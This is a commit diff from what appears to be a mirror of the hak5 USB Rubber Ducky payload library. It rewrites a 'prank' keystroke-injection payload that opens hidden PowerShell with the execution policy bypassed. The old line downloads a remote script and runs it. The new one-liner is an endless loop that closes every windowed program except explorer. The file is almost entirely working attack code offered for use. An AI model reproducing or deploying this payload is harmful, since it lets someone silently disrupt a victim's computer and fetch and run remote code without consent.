hak5
/
usbrubberducky-payloads
mirror of https://github.com/hak5/usbrubberducky-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

one liner

pull/186/head
dsymbol 2022-12-09 11:25:36 +02:00
parent f17cf8d2ce
commit f6ed30e2f3
2 changed files with 2 additions and 10 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
payloads/library/prank/ProcessTerminator/payload.txt
View File

@ -3,7 +3,8 @@ REM Author: dsymbol
REM Description: Hidden PowerShell script that tirelessly hunts down user processes and terminates them
REM Target: Windows
DELAY 2000
GUI r
DELAY 500
STRING powershell -w h -NoP -Exec Bypass iwr https://raw.githubusercontent.com/hak5/usbrubberducky-payloads/master/payloads/library/prank/ProcessTerminator/pt.ps1 -OutFile $env:TEMP\pt.ps1; & "$env:TEMP\pt.ps1"
STRING powershell -w h -NoP -NonI -Exec Bypass while(1) {$ws=gps|?{$_.MainWindowHandle-ne 0};foreach($w in $ws){if($w.ProcessName-ne'explorer'-and$w.Id-ne$PID){$w.CloseMainWindow()}}sleep -Seconds 1}
ENTER

9
payloads/library/prank/ProcessTerminator/pt.ps1
View File

@ -1,9 +0,0 @@
while (1) {
$ws = Get-Process | Where-Object { $_.MainWindowHandle -ne 0 }
foreach ($w in $ws) {
if ($w.ProcessName -ne 'explorer' -and $w.Id -ne $PID) {
$w.CloseMainWindow()
}
}
Start-Sleep -Seconds 1
}